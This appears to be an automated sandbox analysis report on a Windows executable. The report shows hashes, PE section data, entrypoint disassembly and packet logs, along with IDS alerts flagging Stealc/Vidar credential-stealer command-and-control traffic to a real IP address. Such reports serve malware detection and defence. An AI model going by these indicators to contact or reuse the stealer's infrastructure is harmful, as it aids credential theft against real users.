Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Zi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.$i=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var aj,bj,fj,ij,hj,dj,gj;aj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};bj=function(){_.Na()};fj=function(a,b){(_.cj\|\|(_.cj=new dj)).set(a,b);(_.ej\|\|(_.ej=new dj)).set(b,a)};ij=function(a){if(gj===void 0){const b=new hj([],{});gj=Array.prototype.concat.call([],b).length===1}gj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.jj=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.kj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.lj=function(a,b){a===0&&(a=_.kj(a,b));return a\|1};_.mj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.nj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.qj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.jj(a,b,d);var k=h[_

Chrome Cache Entry: 455

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 456

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	dropped
Size (bytes):	132999
Entropy (8bit):	5.435585117285342
Encrypted:	false
SSDEEP:	3072:fOktv3zg+newH5FsYZGFsxIowLe13y2i6o:fvvn/H/MFsxIowY3y8o
MD5:	BF94FB1ABEDCF851798C90A879800F92
SHA1:	4326FF049B88457D3B883FDCDCA985BCD5F81B39
SHA-256:	A5188FF85DAE150FC8DB783062BCAD11169FF233F3E6616EA2709DB30FF93578
SHA-512:	A873E184097C07DE9D64DF7166312E7CE85FB7826044D0E91D7DBF6D3AB9AF70941A1F128A4845D868C24FEE88B211F67BC89992180B06727083396AF5F0809E
Malicious:	false
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947749925584962
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'850'880 bytes
MD5:	3b8b3018e3283830627249d26305419d
SHA1:	40fa5ef5594f9e32810c023aba5b6b8cea82f680
SHA256:	258e444e78225f74d47ba4698d49a33e6d1f6ed1f3f710186be426078e2bf1cb
SHA512:	2e9a42e53406446b503f150abfa16b994ee34211830d14ccbfbf52d86019dc5cca95c40222e5c6aed910c90988f999560ff972c575f9c207d7834abba6f04aa0
SSDEEP:	49152:P8nqKzUOChrrWci7WP+g5YQtli9T0n26vwh:PsqJJrrWviPcf6
TLSH:	DC85332EC9B735BAF08C857DE2774B8515208B231B9355EEF6F43500F1AE64E3AD8064
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...6dWg.....................,........i...........@...........................i.............................................V.$.j..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa99000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NO_ISOLATION, TERMINAL_SERVER_AWARE
Time Stamp:	0x67576436 [Mon Dec 9 21:42:14 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FC6C49264EAh
hint_nop dword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FC6C49284E5h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], bh
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
jnle 00007FC6C4926462h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push 00000001h
add byte ptr [eax], al
adc al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x248056	0x6a	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x247000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2481f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x246000	0x1ce00	db9960fca0133f3b08205d046e69c9cb	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x247000	0x2b0	0x400	14bde155123e940c4ae2c448cb140940	False	0.361328125	data	5.186394852808715	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x248000	0x1000	0x200	9e310a8567d6ba5ff1bd39c70ae38442	False	0.1484375	data	1.0249469107790772	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x249000	0x2ab000	0x200	83d1e1558ea6f4921ee830764179872d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xiumbxnc	0x4f4000	0x1a4000	0x1a3200	fa8d503048c6c6369176a07b408f8338	False	0.9947656483000298	data	7.953940985276402	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kdqtiokw	0x698000	0x1000	0x400	d9bbb47798674ddf818b4e7d4266167a	False	0.736328125	data	5.866538518848089	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x699000	0x3000	0x2200	10b9eabe144d8da932c2dba0a0e1b0a7	False	0.07284007352941177	DOS executable (COM)	0.8022476069134569	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x247058	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-12T16:46:39.789647+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	116.203.10.31	443	192.168.2.8	49711	TCP
2024-12-12T16:46:42.090773+0100	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.8	49713	116.203.10.31	443	TCP
2024-12-12T16:46:42.090974+0100	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	116.203.10.31	443	192.168.2.8	49713	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 16:46:19.164872885 CET	49673	443	192.168.2.8	23.206.229.226
Dec 12, 2024 16:46:19.524308920 CET	49672	443	192.168.2.8	23.206.229.226
Dec 12, 2024 16:46:20.602539062 CET	49677	80	192.168.2.8	192.229.211.108
Dec 12, 2024 16:46:27.832078934 CET	49707	443	192.168.2.8	149.154.167.99
Dec 12, 2024 16:46:27.832144976 CET	443	49707	149.154.167.99	192.168.2.8
Dec 12, 2024 16:46:27.832245111 CET	49707	443	192.168.2.8	149.154.167.99
Dec 12, 2024 16:46:27.906969070 CET	49707	443	192.168.2.8	149.154.167.99
Dec 12, 2024 16:46:27.906994104 CET	443	49707	149.154.167.99	192.168.2.8
Dec 12, 2024 16:46:28.774440050 CET	49673	443	192.168.2.8	23.206.229.226
Dec 12, 2024 16:46:29.133802891 CET	49672	443	192.168.2.8	23.206.229.226
Dec 12, 2024 16:46:29.313293934 CET	443	49707	149.154.167.99	192.168.2.8
Dec 12, 2024 16:46:29.313388109 CET	49707	443	192.168.2.8	149.154.167.99
Dec 12, 2024 16:46:29.450354099 CET	49707	443	192.168.2.8	149.154.167.99
Dec 12, 2024 16:46:29.450377941 CET	443	49707	149.154.167.99	192.168.2.8
Dec 12, 2024 16:46:29.451145887 CET	443	49707	149.154.167.99	192.168.2.8
Dec 12, 2024 16:46:29.451215982 CET	49707	443	192.168.2.8	149.154.167.99
Dec 12, 2024 16:46:29.455319881 CET	49707	443	192.168.2.8	149.154.167.99
Dec 12, 2024 16:46:29.499337912 CET	443	49707	149.154.167.99	192.168.2.8
Dec 12, 2024 16:46:29.908840895 CET	443	49707	149.154.167.99	192.168.2.8
Dec 12, 2024 16:46:29.908869982 CET	443	49707	149.154.167.99	192.168.2.8
Dec 12, 2024 16:46:29.908915043 CET	443	49707	149.154.167.99	192.168.2.8
Dec 12, 2024 16:46:29.908929110 CET	49707	443	192.168.2.8	149.154.167.99
Dec 12, 2024 16:46:29.908936977 CET	443	49707	149.154.167.99	192.168.2.8
Dec 12, 2024 16:46:29.908943892 CET	49707	443	192.168.2.8	149.154.167.99
Dec 12, 2024 16:46:29.909041882 CET	49707	443	192.168.2.8	149.154.167.99
Dec 12, 2024 16:46:29.917191982 CET	49707	443	192.168.2.8	149.154.167.99
Dec 12, 2024 16:46:29.917215109 CET	443	49707	149.154.167.99	192.168.2.8
Dec 12, 2024 16:46:30.349622965 CET	49708	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:30.349667072 CET	443	49708	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:30.349745989 CET	49708	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:30.350040913 CET	49708	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:30.350050926 CET	443	49708	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:31.552326918 CET	443	49706	23.206.229.226	192.168.2.8
Dec 12, 2024 16:46:31.552465916 CET	49706	443	192.168.2.8	23.206.229.226
Dec 12, 2024 16:46:32.164879084 CET	443	49708	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:32.164979935 CET	49708	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:32.187364101 CET	49708	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:32.187385082 CET	443	49708	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:32.187645912 CET	443	49708	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:32.187715054 CET	49708	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:32.196283102 CET	49708	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:32.239324093 CET	443	49708	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:32.867484093 CET	443	49708	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:32.867568970 CET	443	49708	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:32.867595911 CET	49708	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:32.867650986 CET	49708	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:32.870773077 CET	49708	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:32.870793104 CET	443	49708	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:32.888782978 CET	49709	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:32.888818026 CET	443	49709	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:32.888889074 CET	49709	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:32.889211893 CET	49709	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:32.889223099 CET	443	49709	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:34.288347006 CET	443	49709	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:34.288417101 CET	49709	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:34.288923025 CET	49709	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:34.288932085 CET	443	49709	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:34.290879011 CET	49709	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:34.290884972 CET	443	49709	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:35.178236008 CET	443	49709	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:35.178391933 CET	443	49709	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:35.178445101 CET	49709	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:35.178458929 CET	49709	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:35.178690910 CET	49709	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:35.178698063 CET	443	49709	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:35.184115887 CET	49710	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:35.184148073 CET	443	49710	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:35.184218884 CET	49710	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:35.184451103 CET	49710	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:35.184463978 CET	443	49710	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:36.583151102 CET	443	49710	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:36.583309889 CET	49710	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:36.584091902 CET	49710	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:36.584101915 CET	443	49710	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:36.586586952 CET	49710	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:36.586592913 CET	443	49710	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:37.472765923 CET	443	49710	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:37.472800016 CET	443	49710	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:37.472876072 CET	443	49710	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:37.472944021 CET	49710	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:37.472991943 CET	49710	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:37.476480007 CET	49710	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:37.476500988 CET	443	49710	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:37.486445904 CET	49711	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:37.486496925 CET	443	49711	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:37.486597061 CET	49711	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:37.486901045 CET	49711	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:37.486912012 CET	443	49711	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:38.900753021 CET	443	49711	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:38.900928974 CET	49711	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:38.903204918 CET	49711	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:38.903215885 CET	443	49711	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:38.905415058 CET	49711	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:38.905422926 CET	443	49711	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:39.789401054 CET	443	49711	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:39.789443970 CET	443	49711	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:39.789490938 CET	49711	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:39.789516926 CET	443	49711	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:39.789535046 CET	443	49711	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:39.789547920 CET	49711	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:39.789585114 CET	49711	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:39.790127993 CET	49711	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:39.790143967 CET	443	49711	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:39.804899931 CET	49713	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:39.804955959 CET	443	49713	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:39.805202961 CET	49713	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:39.806117058 CET	49713	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:39.806133032 CET	443	49713	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:41.205323935 CET	443	49713	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:41.205451012 CET	49713	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:41.206362963 CET	49713	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:41.206377983 CET	443	49713	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:41.209516048 CET	49713	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:41.209527016 CET	443	49713	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:42.090806007 CET	443	49713	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:42.090868950 CET	49713	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:42.090881109 CET	443	49713	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:42.090933084 CET	49713	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:42.091111898 CET	49713	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:42.091140032 CET	443	49713	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:42.121336937 CET	49715	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:42.121380091 CET	443	49715	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:42.121517897 CET	49715	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:42.121798992 CET	49715	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:42.121815920 CET	443	49715	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:43.123239994 CET	49717	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:43.123284101 CET	443	49717	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:43.123349905 CET	49717	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:43.123636007 CET	49717	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:43.123650074 CET	443	49717	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:43.555383921 CET	443	49715	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:43.555459976 CET	49715	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:43.556114912 CET	49715	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:43.556122065 CET	443	49715	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:43.563582897 CET	49715	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:43.563589096 CET	443	49715	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:43.563638926 CET	49715	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:43.563648939 CET	443	49715	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:44.528893948 CET	443	49715	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:44.528935909 CET	443	49717	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:44.528990030 CET	49717	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:44.528992891 CET	443	49715	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:44.529016972 CET	49715	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:44.529086113 CET	49715	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:44.529443026 CET	49717	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:44.529448986 CET	443	49717	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:44.530390024 CET	49715	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:44.530416965 CET	443	49715	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:44.554724932 CET	49717	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:44.554733992 CET	443	49717	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:45.512867928 CET	49721	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:45.512938976 CET	443	49721	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:45.513025999 CET	49721	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:45.513202906 CET	49721	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:45.513215065 CET	443	49721	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:45.529977083 CET	49722	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:45.530035973 CET	443	49722	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:45.530256987 CET	49722	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:45.530534983 CET	49722	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:45.530560970 CET	443	49722	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:45.562030077 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:45.562078953 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:45.562148094 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:45.562400103 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:45.562413931 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:45.596416950 CET	443	49717	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:45.596492052 CET	443	49717	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:45.596541882 CET	49717	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:45.599104881 CET	49717	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:45.632952929 CET	49724	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:45.633008957 CET	443	49724	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:45.633090973 CET	49724	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:45.633307934 CET	49724	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:45.633325100 CET	443	49724	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:45.633528948 CET	49717	443	192.168.2.8	116.203.10.31
Dec 12, 2024 16:46:45.633568048 CET	443	49717	116.203.10.31	192.168.2.8
Dec 12, 2024 16:46:47.210671902 CET	443	49721	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:47.210958958 CET	49721	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:47.210989952 CET	443	49721	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:47.212013006 CET	443	49721	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:47.212094069 CET	49721	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:47.213238955 CET	49721	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:47.213299990 CET	443	49721	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:47.213443041 CET	49721	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:47.248400927 CET	443	49722	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:47.249895096 CET	49722	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:47.249921083 CET	443	49722	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:47.251419067 CET	443	49722	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:47.251509905 CET	49722	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:47.251863956 CET	49722	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:47.251940966 CET	443	49722	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:47.251998901 CET	49722	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:47.259334087 CET	443	49721	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:47.266680002 CET	49721	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:47.266700983 CET	443	49721	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:47.293648958 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:47.293908119 CET	49723	443	192.168.2.8	172.217.19.228
Dec 12, 2024 16:46:47.293925047 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:47.294918060 CET	443	49723	172.217.19.228	192.168.2.8
Dec 12, 2024 16:46:47.294989109 CET	49723	443	192.168.2.8	172.217.19.228
